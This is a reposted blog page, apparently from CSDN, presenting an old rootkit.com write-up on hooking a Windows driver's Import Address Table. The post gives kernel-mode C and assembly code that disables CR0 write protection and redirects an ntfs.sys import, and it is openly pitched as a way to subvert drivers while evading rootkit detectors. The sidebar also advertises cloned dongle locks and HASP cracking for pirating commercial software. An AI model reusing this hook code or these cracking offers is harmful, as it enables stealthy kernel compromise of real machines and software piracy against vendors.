Hooking the IAT of a driver

HASP SRM跳IAT加密 HASP SRM跳IAT加密 HaspSRM狗壳及iat修复 HaspSRM狗壳及iat修复 立即下载
By: tibbar

 

I thought I'd publish something that I wrote in a private project over a year ago - how to hook the import address table of a driver (ring 0).

Basically, lots of drivers will use kernel api that are exported by ntoskrnl.exe. If you wish to subvert a kernel mode driver (.sys), one easy way might be to hook a function it links against... but you might not want to hook it globally, as it will get picked up by rootkit detectors.

That's where hooking the Import Address Table (IAT) comes in. .sys files are standard PE files, and also have an IAT. This is a table that is populate with pointers to functions that the driver links against.

This is a common technique in user mode, but it's slightly more complex to implement in kernel mode, since the .sys file clears out the import data once the PE loader has finished (meaning you can't find which function is which for an in-memory .sys).

I get around this by working out the RVA of the function pointer from the file on disk and then adjusting this to find the position of the pointer in the loaded version.

The example shows a hook of the function RtlGenerate8dot3Name within ntfs.sys (the RtlGenerate8dot3Name routine generates a short (8.3) name for the specified long file name).

(use the test driver at your own peril, as it can be dangerous for file systems to hook ntfs!).

The usage is quite simple, as shown in the sample code below:


    NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING str)
    {
    DWORD didItWork = 0;
    DWORD RVA, Thunk;
    UNICODE_STRING driverName;
    PVOID base = NULL;
    char functionName[] = "RtlGenerate8dot3Name";
    char libraryName[] = "ntoskrnl.exe";
    //find the base address of target driver
    base = FindDriverBase("ntfs.sys");
    //DbgBreakPoint();
    if(NULL==base)
    {
    DbgPrint("base not found");
    return STATUS_SUCCESS;
    }

    RtlInitUnicodeString(&driverName, L"DeviceHarddiskVolume1WindowsSystem32driversntfs.sys");
    didItWork = GetIATPointerRVAFromBase(functionName, libraryName, &driverName, &Thunk, &RVA );

    if(0==didItWork)
    {
    DbgPrint("IATPointerRVA not found");
    return STATUS_SUCCESS;
    }

    g_IATFunctionPointer = (DWORD*)( (BYTE*)base + Thunk ) + RVA;

    if(NULL==g_IATFunctionPointer)
    {
    DbgPrint("IATFunctionPointer not found");
    return STATUS_SUCCESS;
    }

    g_OriginalRtlGenerate8dot3Name = *(PVOID*)g_IATFunctionPointer;
    DbgBreakPoint();
    _asm
    {
    CLI //dissable interrupt
    MOV EAX, CR0 //move CR0 register into EAX
    AND EAX, NOT 10000H //disable WP bit
    MOV CR0, EAX //write register back
    }

    *(PVOID*)g_IATFunctionPointer = MyRtlGenerate8dot3Name;
    _asm
    {
    MOV EAX, CR0 //move CR0 register into EAX
    OR EAX, 10000H //enable WP bit
    MOV CR0, EAX //write register back
    STI //enable interrupt
    }
    if (DriverObject) DriverObject->DriverUnload = Unload;
    return DriverObject ? STATUS_SUCCESS : STATUS_UNSUCCESSFUL;
    }

You can download it from:

http://www.rootkit.com/vault/tibbar/hookiat.rar
 
软件的脱壳+IAT修复+TLS修复 软件的脱壳+IAT修复+TLS修复。。。。。。。。。。。。。。 立即下载

相关推荐

SRM加密狗复制工具,三维扫描仪软件复制程序破解

本人提供三维扫描仪正式版加密锁写锁程序,配合主锁可以完美生成加密锁,主锁价格是正版价格的1/5,有需要的朋友可以联系购买。 三维扫描仪可以自己 DIY了,不再需要很高的成本! 可批量写锁,价格更优惠! 天远三维扫描系统2012 复制锁 天远三维扫描系统 V6 复制狗 先临三维测量软件2.0 写锁工具 先临三维测量软件2.2 正式版写狗 天远摄影测量系统 复制锁 精迪三维扫描软件10.0 复制锁 3DSS数造三维扫描软件 12 复制狗 迪尔三维测量软件 V8 2012 破解加密狗 世纪动力三维测量软件 破解加密锁

Error at hooking API “LoadStringA“ Dump first 32 bytes:

Error at hooking API “LoadStringA” Dump first 32 bytes: 可能是由于昨天删那个流氓软件的问题,我的电脑今天打不开一个软件,一打开就弹出一个弹窗。 图片有点歪,但是能够看清,我百度了一下,说是我电脑里面的Microsoft visual c++出了问题,需要重新安装。但是如何重新安装呢?这是一个c盘的文件,我也不太敢删,害怕出现更大的问题。 查了一个多小时,一个网站上解释了正确的思路。但是它也要我删,但是由于戒备心比较强,我并没有照做。 下面我介绍一下我

m0_46911343的博客 3万+

IAT脱壳修复工具(Scylla) V0.9.3 汉化版

IAT脱壳修复工具(Scylla) V0.9.3 汉化版

luaplus的LoadStringA连接错误解决方式

 luaplus的LoadStringA连接错误解决方式因为在Windows头文件中把LoadString宏定义成了LoadStringA,结果,哈哈,取消此宏定义就可以了。

skyremember的专栏 3089

Python爬虫实战:5分钟搞定慢慢买历史价格查询(附完整代码)

本文提供了一份Python爬虫实战指南,教你如何快速编写脚本自动查询慢慢买网站的商品历史价格。文章详细拆解了环境准备、接口分析、核心代码实现及常见问题应对,并附有完整代码,帮助读者将爬虫技术应用于日常比价,实现高效购物决策。

weixin_29053577的博客 1022

Android Qcom Display学习(十一)

该系列文章总目录链接与各部分简介:本章主要是基于MIPI Payload传输接口的学习,包括Generic和DCS的接口不同。底层都是基于去封装的,下面第一部分调用原生接口,第二部分分析高通是如何进行读写操作的。

Android驱动开发 3187

Aladdin HASP加密狗破解脱壳笔记

Aladdin HASP加密狗破解脱壳笔记。本次也不算是一个教程吧,最近在工作上遇到了一家供应商提供的非常不错的软件,这个软件给到我们这里的时候是附带了HASP 一个月的授权的软件狗,授权到期之后,也打算好好弄一弄这个大名鼎鼎的HASP加密狗。...

COPYONE工作室 1万+

零基础玩转IndexTTS2:5分钟搭建个人语音克隆工具(支持B站同款情感语音)

本文详细介绍了如何零基础使用IndexTTS2快速搭建个人语音克隆工具,支持B站同款情感语音。IndexTTS2作为自回归零样本TTS系统,突破传统技术限制,实现精准时长控制和丰富情感表达。通过HuggingFace在线演示,用户可轻松克隆音色并调节情感参数,适用于自媒体配音、有声书朗读等场景。

purple的博客 924

API Spying Techniques for Windows 9x, NT and 2000

API Spying Techniques for Windows 9x, NT and 2000 Yariv Kaplan API spying utilities are among the most powerful tools for exploring the inner structure of applications and operating systems. Unf

MichealHu的专栏 1635

跟着团子学SAP PS:BOM和项目结构的联动-BOM Transfer CN33

关于项目中的物料组件挂接你需要了解的一点功能

Lucas1211的博客 2万+

FairyGUI深度解析:Unity复杂UI开发的高效解决方案与性能优化

在Unity游戏和应用开发中,UI系统的性能与开发效率是核心挑战。原生UGUI的组件化模型在应对复杂、动态界面时,常面临Draw Call过高、层级管理臃肿的问题。其原理在于,每个UI元素对应一个GameObject,渲染合批受限于Transform层级与材质状态,易导致性能瓶颈。FairyGUI(FGUI)作为一种专业的第三方UI解决方案,其技术价值在于采用了截然不同的“舞台-显示对象”渲染模型。该模型通过内部轻量级对象管理与自主合批系统,实现了极高的运行时效率与Draw Call优化。在应用场景上,FG

weixin_31315567的博客 353

解决backtrack5无法ssh登录问题

backtrack5安装完毕后,使用putty远程登录时显示network error:Connection refused 解决方法: 登录系统(系统默认用户名密码是root/toor,startx可以进入图形界面) 在命令终端输入命令, #sshd-generate (系统可能会询问是否覆盖,全部选Y)。 或者 #ssh-keygen -t dsa -f /etc/ssh/ssh_

小兴的学习笔记 878

1、初探 Tiny Machine Learning

Tiny Machine Learning(TinyML)是机器学习与嵌入式系统的融合领域,致力于在资源受限的微控制器上运行AI模型。本文介绍了机器学习基础、TinyML的核心概念、应用领域(如智能家居、工业物联网、医疗保健)、面临的挑战(如资源限制、模型压缩、数据质量),以及从硬件准备到模型部署的实践步骤。通过利用训练与推理的资源不对称性,可在PC上训练模型并部署至低功耗设备进行实时推理,推动边缘智能的发展。

loss4bartender的博客 130

backtrack5 远程无法登录

解决方法: 登录系统 #sshd-generate (系统可能会询问是否覆盖,全部选Y)。 或者 #ssh-keygen -t dsa -f /etc/ssh/ssh_host_dsa_key 密码置空 #ssh-keygen -t rsa -f /etc/ssh/ssh_host_rsa_key 密码置空 然后 :~# /etc/init.d/ssh re...

weixin_34114823的博客 106

YOLO26改进策略【Neck】| ICCV2025 反向卷积 Converse2D 数学逆运算提重构 + 特征域建模降伪影,提升多尺度目标检测精度

本文记录的是利用Converse2D 算子改进 YOLO26 的上采样。(Converse 2D Convolution)通过正则化最小二乘闭式解与深度化空间建模结合,实现YOLO26特征提取与上采样阶段的卷积逆运算及特征精准重构。本文利用算子,通过闭式解的非迭代计算还原卷积下采样后的原始特征,再通过可学习核与自适应正则化参数稳定逆问题求解,同时依托圆形填充与插值初始估计保留特征高频细节,对YOLO26中不同尺度检测目标的特征进行针对性重构强化、抑制卷积/转置卷积带来的伪影与信息损失干扰,在特征融合与上采样

Limiiiing的博客 666

Probability and Statistics - 4th edition

Probability and Statistics - 4th edition

BackTrack 5 开启SSHD服务

BackTrack 5 开启SSHD服务 1 service ssh start 但启动后,仍然无法从远程连接,会有提示: 1 Read from socket failed: Connection reset by peer 这个时候需要生成密钥文件,方...

weixin_33802505的博客 111

jdk-8u144-linux-x64.tar.gz.

该资源为搭建Linux系统Java环境用,资源的后缀为tar.gz格式的压缩包

backtrack5的安装配置

简介   Backtrack Linux(http://www.backtrack-linux.org/)集成了超多的安全审计工具,如下图所示。 一直以来都是作为取证和审计工具来用,在安全行业深受广大安全人员的喜爱。 安装   安装其实非常简单,自BackTrack4开始它就采用Ubuntu发行,其安装方式和它差不多。在用光盘引导后进入命令行的登录界面时输入用户名“root”,默认的...

weixin_33910385的博客 209

深度学习工具包 DeepLearningToolbox

深度学习工具包Deprecation notice.-----This toolbox is outdated and no longer maintained.There are much better tools available for deep learning than this toolbox, e.g. [Theano](http://deeplearning.net/software/theano/), [torch](http://torch.ch/) or [tensorflow](http://www.tensorflow.org/)I would suggest you use one of the tools mentioned above rather than use this toolbox.Best, Rasmus.DeepLearnToolbox================A Matlab toolbox for Deep Learning.Deep Learning is a new subfield of machine learning that focuses on learning deep hierarchical models of data.It is inspired by the human brain's apparent deep (layered, hierarchical) architecture.A good overview of the theory of Deep Learning theory is[Learning Deep Architectures for AI](http://www.iro.umontreal.ca/~bengioy/papers/ftml_book.pdf)For a more informal introduction, see the following videos by Geoffrey Hinton and Andrew Ng.* [The Next Generation of Neural Networks](http://www.youtube.com/watch?v=AyzOUbkUf3M) (Hinton, 2007)* [Recent Developments in Deep Learning](http://www.youtube.com/watch?v=VdIURAu1-aU) (Hinton, 2010)* [Unsupervised Feature Learning and Deep Learning](http://www.youtube.com/watch?v=ZmNOAtZIgIk) (Ng, 2011)If you use this toolbox in your research please cite [Prediction as a candidate for learning deep hierarchical models of data](http://www2.imm.dtu.dk/pubdb/views/publication_details.php?id=6284)```@MASTERSTHESIS\{IMM2012-06284, author = "R. B. Palm", title = "Prediction as a candidate for learning deep hierarchical models of data", year = "2012",}```Contact: rasmusbergpalm at gmail dot comDirectories included in the toolbox-----------------------------------`NN/` - A library for Feedforward Backpropagation Neural Networks`CNN/` - A library for Convolutional Neural Networks`DBN/` - A library for Deep Belief Networks`SAE/` - A library for Stacked Auto-Encoders`CAE/` - A library for Convolutional Auto-Encoders`util/` - Utility functions used by the libraries`data/` - Data used by the examples`tests/` - unit tests to verify toolbox is workingFor references on each library check REFS.mdSetup-----1. Download.2. addpath(genpath('DeepLearnToolbox'));Example: Deep Belief Network---------------------```matlabfunction test_example_DBNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit RBM and visualize its weightsrand('state',0)dbn.sizes = [100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);figure; visualize(dbn.rbm{1}.W'); % Visualize the RBM weights%% ex2 train a 100-100 hidden unit DBN and use its weights to initialize a NNrand('state',0)%train dbndbn.sizes = [100 100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);%unfold dbn to nnnn = dbnunfoldtonn(dbn, 10);nn.activation_function = 'sigm';%train nnopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.10, 'Too big error');```Example: Stacked Auto-Encoders---------------------```matlabfunction test_example_SAEload mnist_uint8;train_x = double(train_x)/255;test_x = double(test_x)/255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit SDAE and use it to initialize a FFNN% Setup and train a stacked denoising autoencoder (SDAE)rand('state',0)sae = saesetup([784 100]);sae.ae{1}.activation_function = 'sigm';sae.ae{1}.learningRate = 1;sae.ae{1}.inputZeroMaskedFraction = 0.5;opts.numepochs = 1;opts.batchsize = 100;sae = saetrain(sae, train_x, opts);visualize(sae.ae{1}.W{1}(:,2:end)')% Use the SDAE to initialize a FFNNnn = nnsetup([784 100 10]);nn.activation_function = 'sigm';nn.learningRate = 1;nn.W{1} = sae.ae{1}.W{1};% Train the FFNNopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.16, 'Too big error');```Example: Convolutional Neural Nets---------------------```matlabfunction test_example_CNNload mnist_uint8;train_x = double(reshape(train_x',28,28,60000))/255;test_x = double(reshape(test_x',28,28,10000))/255;train_y = double(train_y');test_y = double(test_y');%% ex1 Train a 6c-2s-12c-2s Convolutional neural network %will run 1 epoch in about 200 second and get around 11% error. %With 100 epochs you'll get around 1.2% errorrand('state',0)cnn.layers = { struct('type', 'i') %input layer struct('type', 'c', 'outputmaps', 6, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %sub sampling layer struct('type', 'c', 'outputmaps', 12, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %subsampling layer};cnn = cnnsetup(cnn, train_x, train_y);opts.alpha = 1;opts.batchsize = 50;opts.numepochs = 1;cnn = cnntrain(cnn, train_x, train_y, opts);[er, bad] = cnntest(cnn, test_x, test_y);%plot mean squared errorfigure; plot(cnn.rL);assert(er<0.12, 'Too big error');```Example: Neural Networks---------------------```matlabfunction test_example_NNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);% normalize[train_x, mu, sigma] = zscore(train_x);test_x = normalize(test_x, mu, sigma);%% ex1 vanilla neural netrand('state',0)nn = nnsetup([784 100 10]);opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samples[nn, L] = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.08, 'Too big error');%% ex2 neural net with L2 weight decayrand('state',0)nn = nnsetup([784 100 10]);nn.weightPenaltyL2 = 1e-4; % L2 weight decayopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex3 neural net with dropoutrand('state',0)nn = nnsetup([784 100 10]);nn.dropoutFraction = 0.5; % Dropout fraction opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex4 neural net with sigmoid activation functionrand('state',0)nn = nnsetup([784 100 10]);nn.activation_function = 'sigm'; % Sigmoid activation functionnn.learningRate = 1; % Sigm require a lower learning rateopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex5 plotting functionalityrand('state',0)nn = nnsetup([784 20 10]);opts.numepochs = 5; % Number of full sweeps through datann.output = 'softmax'; % use softmax outputopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex6 neural net with sigmoid activation and plotting of validation and training error% split training data into training and validation datavx = train_x(1:10000,:);tx = train_x(10001:end,:);vy = train_y(1:10000,:);ty = train_y(10001:end,:);rand('state',0)nn = nnsetup([784 20 10]); nn.output = 'softmax'; % use softmax outputopts.numepochs = 5; % Number of full sweeps through dataopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, tx, ty, opts, vx, vy); % nntrain takes validation set as last two arguments (optionally)[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');```[![Bitdeli Badge](https://d2weczhvl823v0.cloudfront.net/rasmusbergpalm/deeplearntoolbox/trend.png)](https://bitdeli.com/free "Bitdeli Badge")

怀旧版电脑GBC模拟器

再现原版GBC掌机的界面,电脑运行连游戏界面都一样大小,很怀旧,很真实,(英文版)强烈推荐,很小的文件,很难才找到的。

backtrack 使用Tab键补全命令

刚安装个BackTrack5(基于Ubuntu)做安全测试,发现默认安全设置级别很高,连ssh服务默认都关闭,root下不能使用tab键补全命令,这个就真不方便了。原因是root的配置文件注释了三行脚本。 解决方法: vim /root/.bashrc 找到最后的六行,把注释掉的三行去掉前面的#,保存生效,退出再登录就OK。 if [ -f /etc/bash_completion ] &...

weixin_30508309的博客 125
上一篇: Ultimate way to hide rootkit
下一篇: Detours within Windows kernel
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值
⌂ 换网址